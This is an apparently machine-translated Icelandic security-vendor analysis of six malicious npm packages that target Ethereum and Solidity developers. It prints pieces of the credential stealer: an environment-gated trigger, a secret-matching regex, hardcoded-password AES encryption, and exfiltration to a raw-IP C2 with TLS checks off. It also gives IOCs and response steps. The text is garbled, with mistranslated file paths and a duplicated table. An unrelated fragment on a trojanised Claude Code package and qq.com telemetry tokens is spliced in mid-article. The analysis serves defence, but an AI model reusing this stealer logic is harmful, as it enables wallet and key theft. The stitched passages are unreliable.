TL; DR
Þann 6. maí 2026, einn npm útgefandi, namikazesarada010206, sendi frá sér sex illgjarn forritunarpakka sem miðuðu á vistkerfi Ethereum, Solidity og DeFi forritara.
Pakkarnir, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsog web3-utils-core, notaði trúverðug nöfn sem voru hönnuð til að líta út eins og hjálparbókasöfn fyrir vinsæl Web3 verkfæri.
Allir sex pakkarnir innihéldu það sama telemetry.js Skráin. Skráin var eins og bæti í öllum klasanum, með SHA-256:
Spilliforritið keyrir ekki við uppsetningu. Það er ekkert til staðar. preinstall or postinstall krókur. Í staðinn virkjast hann þegar pakkinn er fluttur inn í gegnum require().
Þessi smáatriði skipta máli.
Ígræðslan bíður þar til forritari notar pakkann í raun. Þá athugar hún hvort vinnustöðin lítur út eins og raunverulegt Ethereum / Solidity þróunarumhverfi. Hún leitar að Alchemy eða Infura lyklum, einkalyklum, minnislyklum, dreifingarlyklum eða staðbundinni Foundry möppu.
Ef gestgjafinn passar, safnar þjófurinn SSH einkalyklum, lyklageymslum Foundry / Geth / Brownie veskis, .env* skrár og viðkvæmar umhverfisbreytur. Það dulkóðar pakkann með AES-256-GCM með því að nota harðkóðað lykilorð og fjarlægir hann á hráan IPv4 C2 endapunkt með TLS staðfestingu óvirkri.
Malware Early Warning (MEW) kerfi Xygeni staðfesti að öll sex pakkarnir væru illgjarnir. Skýrslupakkinn fyrir fjarlægingu npm-skrárinnar er í vinnslu.
Klasinn: Sex pakkar, einn útgefandi
Útgefandareikningurinn namikazesarada010206 var tengt við óstaðfesta Gmail netfangið namikazesarada010206@gmail.com.
Herferðin birtist sem eindagsútgáfa þann 6. maí 2026. Öll sex pakkarnir voru útgáfuðir sem 1.0.0, hafði engar keyrslutímatengdar skyldur og sendi aðeins þrjár skrár:
package.json index.js telemetry.js Þeir lýstu einnig yfir sama upprunalega gagnagrunni:
https://github.com/harunosakura030303-maker/evmchain-config Fyrstu þrír pakkarnir voru greindir af MEW skönnum við fyrstu útgáfu. Hinir þrír voru merktir með nauðungarmerki eftir að greiningaraðilar höfðu skoðað npm prófíl útgefandans. Þegar þeir voru með sama bæti og sama gildið telemetry.js var staðfest í öllum klasanum, voru þeir lokaðir sem illgjarnir vegna samræmis.
| Pakki | Útgáfa | npm Gefið út | MEW miði | Úrskurður |
|---|---|---|---|---|
| viem-kjarna | 1.0.0 | 2026-05-06 01:38:44Z | # 51049 | Illgjarn |
| viem-utils-core | 1.0.0 | 2026-05-06 | # 51050 | Illgjarn |
| Hardhat-core-utils | 1.0.0 | 2026-05-06 | # 51051 | Illgjarn |
| evm-hjálpartæki | 1.0.0 | 2026-05-06 | # 51069 | Illgjarnt, af samkvæmni |
| steypufyrirtæki | 1.0.0 | 2026-05-06 | # 51071 | Illgjarnt, af samkvæmni |
| web3-utils-core | 1.0.0 | 2026-05-06 | # 51070 | Illgjarnt, af samkvæmni |
Nafngiftaraðferðin er einföld en áhrifarík.
Þessir pakkar herma ekki eftir nákvæmum nöfnum uppstreymis. Í staðinn nota þeir sennileg „gagnsemi“ viðskeyti eins og -core, -utilsog -utils-coreÞað lætur þau líta út eins og fylgisöfn sem forritari gæti búist við að sjá nálægt Web3 verkfærum.
| Illgjarn pakki | Lögmætt skotmark |
|---|---|
| viem-kjarna | viem, vinsæll Ethereum TypeScript viðskiptavinur |
| viem-utils-core | viem |
| Hardhat-core-utils | hardhat, almennt þróunarumhverfi fyrir Solidity |
| evm-hjálpartæki | Almennt EVM verkfæranafnrými |
| steypufyrirtæki | steypa, verkfærakeðja frá Solidity |
| web3-utils-core | web3-hjálpartæki, Web3.js hjálpartæki |
Þetta er mynstrið fyrir „viðbótarpakkann“: ekki „ég er hinn raunverulegi pakki“ heldur „ég lít út eins og skynsamlegur hjálparhella í kringum hinn raunverulega pakka“.
Fyrir DeFi forritara sem eru að hreyfa sig hratt er það nóg til að skapa áhættu.
Hvað gerist þegar pakkinn er fluttur inn
Árásarkeðjan er lítil, af ásettu ráði og einblínd á dulritunarþróunarumhverfi.
Það er enginn uppsetningarkrókur. Í staðinn inniheldur hver pakki index.js sem flytur út stub-virkni og hleður síðan inn skaðlega fjarmælingareiningu.
require('./telemetry').init(); Þetta þýðir að spilliforritið virkjast við fyrstu innflutning.
Þetta er gagnlegt fyrir árásarmanninn í rekstri. Margar skannar og sandkassar einblína á hegðun við uppsetningu. Þessi pakki bíður þangað til hann er í raun notaður af forritara, smíðaforskrift, prófunarsvítu eða keyrslutímaslóð.
Virkjunarhlið: Virkjum aðeins á raunverulegum Web3 verktaki vinnustöðvum
Mikilvægasti hluti ígræðslunnar er virkjunarhliðið.
Spilliforritið athugar umhverfisbreytur sem finnast almennt á Ethereum / Solidity forritaravélum:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); Það athugar einnig hvort Foundry virðist vera uppsett:
fs.existsSync(path.join(os.homedir(), '.foundry')) Ef hvorugt skilyrðið er satt, skilar fallið gildinu og gerir ekkert.
Það gerir pakkann hljóðlátari í almennum greiningarumhverfum. Sandkassi án Foundry, Alchemy lykla, Infura lykla, einkalykla eða minnislykla gæti litið út fyrir að vera skaðlaus.
Á samsvarandi vél bíður spilliforritið í 60 til 90 sekúndur áður en það er safnað:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); Seinkunin dregur úr augljósri fylgni milli innflutnings og útflutnings. .unref() `call` leyfir einnig hýsingarferlinu að hætta eðlilega ef pakkinn var fluttur inn í skammlífu forskrift.
Þetta er ekki hávær hegðun þar sem kóðinn er „smash and grab“. Þetta er markviss þjófnaður sem er hannaður til að forðast að keyra hann nema forritaraumhverfið sé þess virði að stela úr.
Það sem þjófurinn safnar
Þegar virkjunarhliðið er í gegnum ferlið safnast spilliforritið saman frá þeim aðilum sem skipta mestu máli í Web3 þróun: einkalyklum, lyklageymslum veskis, dreifingarupplýsingum, skýleyndarmálum, npm-táknum og staðbundinni verkefnastillingu.
| Heimild | Hvað er safnað |
|---|---|
| ferli.umhverfi | Sérhver breyta sem passar við /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Skrár sem innihalda PRIVATE KEY eða BEGIN OPENSSH, þar á meðal allt innihald skráarinnar. |
| ~/.foundry/lyklabúðir/* | Lyklageymsluskrár fyrir Foundry veski |
| ~/.ethereum/lykilgeymsla/* | Lyklageymsluskrár fyrir Geth veski |
| ~/.brownie/reikningar/* | Lyklageymsluskrár fyrir Brownie veski |
| ${cwd}/.umslag | Allt innihald skráarinnar |
| ${cwd}/.umg.local | Allt innihald skráarinnar |
| ${cwd}/.umhverfi.framleiðsla | Allt innihald skráarinnar |
| ${cwd}/.umhverfi.þróun | Allt innihald skráarinnar |
| os.hostname() | Lýsigögn hýsingaraðila |
| dulritunarkóði.handahófskenndurUUID() | Auðkenni fórnarlambs/lotu |
| Dagsetning.núna() | Tímastimpill söfnunar |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com ATTA-táknin eru:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 Við höfum ekki getað staðfest hvort fjarmælingarnar voru frá rekstraraðilanum sjálfum eða frá sérstakri tekjuöflunarrás. ATTA-táknin eru þau sömu í báðum sýnunum sem við skoðuðum.
Klasi B: heibai
claude.hk OAuth vefveiðar + ANTHROPIC_BASE_URL ræning
Úrtakið frá 1. apríl er grófari og fyrri hluti herferðarinnar.
heibai:2.1.88-claude.hk-4 var gefið út af wuguoqiangvip28, reikningur stofnaður 7. júní 2025. Pakkinn breytti útgáfu sinni sérstaklega gegn lögmætum kóða. 2.1.88 Mannleg losun.
Það truflar ekki CA-cert MITM. Þess í stað lýgur það að notandanum um OAuth endapunktinn.
Illgjarnar viðbætur ofan á lekaða Claude Code heimildarkóðann eru meðal annars:
| Heimild | Hvað er safnað |
|---|---|
| ferli.umhverfi | Sérhver breyta sem passar við /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Skrár sem innihalda PRIVATE KEY eða BEGIN OPENSSH, þar á meðal allt innihald skráarinnar. |
| ~/.foundry/lyklabúðir/* | Lyklageymsluskrár fyrir Foundry veski |
| ~/.ethereum/lykilgeymsla/* | Lyklageymsluskrár fyrir Geth veski |
| ~/.brownie/reikningar/* | Lyklageymsluskrár fyrir Brownie veski |
| ${cwd}/.umslag | Allt innihald skráarinnar |
| ${cwd}/.umg.local | Allt innihald skráarinnar |
| ${cwd}/.umhverfi.framleiðsla | Allt innihald skráarinnar |
| ${cwd}/.umhverfi.þróun | Allt innihald skráarinnar |
| os.hostname() | Lýsigögn hýsingaraðila |
| dulritunarkóði.handahófskenndurUUID() | Auðkenni fórnarlambs/lotu |
| Dagsetning.núna() | Tímastimpill söfnunar |
Marklistinn er mjög sértækur. Þetta er ekki almennur vafraþjófnaður eða víðtæk auðkenningarþjófnaður. Hann er ætlaður forriturum sem smíða, prófa, dreifa eða reka Ethereum forrit.
Það er sérstaklega mikilvægt að hafa lykilgeymslur fyrir Foundry, Geth og Brownie. Þessar skrár geta táknað beinan aðgang að veskjum eða dreifingarauðkennum. Ef árásarmaðurinn getur parað þær við lykilorð, minnislykla eða leyndarmál umhverfisins, gæti hann hugsanlega fært fjármuni, hermt eftir dreifingaraðilum eða brotið á snjallsamningaaðgerðum.
Dulkóðun fyrir útsíun
Spilliforritið dulkóðar söfnuð gögn áður en þau eru send út.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); Lykilorðið sem er innbyggt í harða kóðann er:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d Lokaupphæðin er vafið inn sem JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} Dulkóðun gerir ekki spilliforritið flóknara í sjálfu sér. Hins vegar gerir hún netskoðun erfiðari. Varnaraðili sem fylgist með útgangi myndi sjá JSON-gagnamagn en ekki stolnu lyklana, veskisskrárnar eða ... .env innihald án harðkóðaðs lykilorðs og afkóðunarrökfræði.
Útrás á hráan IPv4 C2
Útsíunarleiðin er harðkóðuð:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); Spilliforritið sendir gögn til:
https://76.13.37.80:8443/api/v1/telemetry Tvær smáatriði standa upp úr.
Í fyrsta lagi er C2 hrá IPv4-tala frekar en lén. Það fjarlægir þörfina fyrir lénsskráningu og kemur í veg fyrir sumar lénsbundnar greiningar.
Í öðru lagi er TLS staðfesting óvirk með:
rejectUnauthorized: false Það gerir spilliforritinu kleift að samþykkja hvaða vottorð sem er, þar á meðal sjálfritað vottorð. Með öðrum orðum fær árásaraðilinn dulkóðaðan flutning án þess að þurfa gilt opinbert vottorð.
Það er engin rökfræði fyrir endurtekningu og enginn varahýsill. Villur eru gleyptar hljóðlega. Þetta heldur pakkanum kyrrum ef C2 er ótengdur eða ekki hægt að ná í hann.
Hvers vegna þessi herferð skiptir máli
Flest illgjarn npm pakkar sem miða að forriturum elta uppi víðtæk skilríki: npm tákn, AWS lykla, GitHub tákn eða .npmrc skrár.
Þessi herferð þrengir markhópinn.
Það leitar að merkjum um að vélin tilheyri Ethereum eða Solidity forritara. Síðan sækir það nákvæmlega þær eignir sem skipta máli í því umhverfi: lyklageymslur veskis, einkalykla, minnislykla, dreifingarlykla, .env skrár og SSH lykla.
Það gerir herferðina hættulegri fyrir Web3 teymi en almennan npm þjóf.
Vel heppnuð sýking gæti leitt í ljós:
- Dreifingarveski
- Stjórnunarlyklar snjallsamninga
- RPC-veitulyklar
- Skilríki fyrir skýjauppsetningu
- npm útgáfutákn
- SSH aðgangur að verktaki eða byggingarinnviði
- Leyndarmál verkefnisins eru geymd í
.envskrár - Veskislyklageymslur fyrir Foundry, Geth eða Brownie
Nöfn pakkanna sýna einnig greinilega félagslega verkfræði. Þau miða á vistkerfi Web3 forritara með kunnuglegum nöfnum verkfæra: viem, hardhat, foundry, evmog web3.
Aðilinn þarf ekki að gera málamiðlanir varðandi raunveruleg verkefni. Hann þarf aðeins forritara til að setja upp það sem lítur út fyrir að vera sanngjarn fylgipakka.
Vísbendingar um málamiðlanir og uppgötvun
| Pakkar og útgefandi | |
|---|---|
| Field | gildi |
| npm útgefandi | namikazesarada010206 |
| Netfang útgefanda | namikazesarada010206@gmail.com |
| tölvupóstur staðfestur | Nr |
| SCM staðfest | Nr |
| Mannorðseinkunn | 1.0 |
| Pakkar | viem-kjarni, viem-utils-kjarni, hardhat-core-utils, evm-utils, steypa-utils, web3-utils-core |
| útgáfur | Allt 1.0.0 |
| Heimildasafn | https://github.com/harunosakura030303-maker/evmchain-config |
| Staðfest að þetta sé illgjarnt | Allir sex pakkarnir |
| Net | |
|---|---|
| Gerð | gildi |
| C2 endapunktur | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| C2 tengi | 8443/tcp |
| TLS hegðun | hafnaÓheimilt: ósatt |
| Álagsskema | {"v":2,"iv": „d“: „t“: } |
| Skrár og hassar | |
|---|---|
| Gerð | gildi |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Útlit pakkans | pakki.json, vísitala.js, fjarmælingar.js |
| Skráafjöldi | 3 |
| Áætluð heildarstærð | 3.4 KB |
Virkjunarmerki
Spilliforritið leitar að þessum umhverfisbreytum:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY Það athugar einnig hvort:
~/.foundry/ Markvissar hýsingarslóðir
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development Regex safns
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i Athugasemdir um greiningu
Nokkrar reglur ná þessari herferð án þess að þörf sé á fullri hegðunargreiningu.
Fyrst skaltu skanna læsingarskrár fyrir sex illgjarn pakkanöfn:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core Einhver samsvörun í package-lock.json, yarn.lock, pnpm-lock.yaml, eða node_modules Sagan ætti að líta á sem alvarlegt atvik.
Í öðru lagi, fylgstu með Node.js ferlum sem lesa lykilgeymsluslóðir veskisins:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ Þetta er sjaldan lögmæt hegðun fyrir pakka sem er fluttur inn sem hjálpartengdur. Þetta er sérstaklega grunsamlegt þegar það fylgir útvirkni á netið.
Í þriðja lagi, lokaðu fyrir eða láttu vita af HTTPS tengingum við:
76.13.37.80:8443 Sérstaklega þegar beiðnislóðin er:
/api/v1/telemetry Í fjórða lagi, leitaðu að npm-pökkum sem sameina þessa eiginleika:
- Nýr eða lágt orðsporsútgefandi
- Óstaðfestur Gmail reikningur
- Nafn pakka sem liggur að Web3
- Engin marktæk geymslusaga
- Lítil pakkauppsetning
index.jssem hleður inn fjarmælingar- eða hjálparskrá- Engin keyrslutímaháðni
- Safn viðkvæmra umhverfisbreyta
- Aðgangur að lyklageymslu veskisins
Þetta mynstur er gagnlegra en eitt IOC því næsti pakki gæti breytt IP-tölu en haldið sömu markmiðsrökfræði.
Gátlisti fyrir viðbrögð við málamiðlun
Ef forritari notaði einn af sex pökkunum og umhverfi hans passaði við virkjunarhliðið, skal meðhöndla vinnustöðina sem í hættu.
Það felur í sér vélar með Foundry uppsettu, Alchemy eða Infura lykla í umhverfinu, einkalykla, minnislykla eða dreifingarlykla.
Ráðlagt svar:
- Aftengdu hýsilinn frá netkerfinu.
- Varðveita
node_modules, læsingarskrár, skeljarsaga og viðeigandi skrár fyrir réttarrannsóknir. - Snúðu hverju SSH lyklakippar undir
~/.ssh/. - Snúðu veskislyklum fyrir hverja lyklageymslu undir
~/.foundry,~/.ethereumog~/.brownie. - Færa fé í nýjar veski.
- Snúðu öllum leyndarmálum sem eru geymd í
.env*skrár í geymslum sem forritarinn vann í. - Snúið umhverfisleyndarmálum sem passa við regex söfnunarinnar, þar á meðal AWS-lykla, npm-tákn, dreifingartákn, API-lykla, einkalykla, fræ og minnislykla.
- Endurskoða virkni í skýinu, npm, GitHub, RPC-veitu og blockchain frá því að pakkinn var fyrst settur upp.
- Endurnýjaðu myndvinnslustöðina áður en hún er notuð aftur.
Það sem varnarmenn ættu að taka með sér
Þessi herferð sýnir hvernig npm typosquatting er að þróast í kringum vistkerfi verðmætra forritara.
Leikarinn þurfti ekki þrautseigju. Hann þurfti ekki dulúð. Hann þurfti ekki einu sinni keyrslu á uppsetningartíma.
Í staðinn treystu þeir á þrennt:
- Trúverðug Web3 pakkaheiti
- Virkjun aðeins á raunverulegum dulritunarvélum
- Bein þjófnaður á skrám og leyndarmálum sem skipta Ethereum forriturum mestu máli
Það gerir herferðina auðvelt að missa af í víðtækri skönnun og hættulega þegar hún lendir í réttu umhverfi.
Fyrir Web3 teymi er lærdómurinn skýr: meðhöndlið nöfn á ósjálfstæðum kerfum sem hluta af ógnarlíkaninu ykkar. Pakki sem lítur út eins og skaðlaus hjálparhella getur samt orðið stysta leiðin að veskisbrotum.
Tilkynnt til npm skrásetningarinnar. Við munum uppfæra þessa færslu þegar útgefandareikningurinn og pakkarnir hafa verið fjarlægðir.




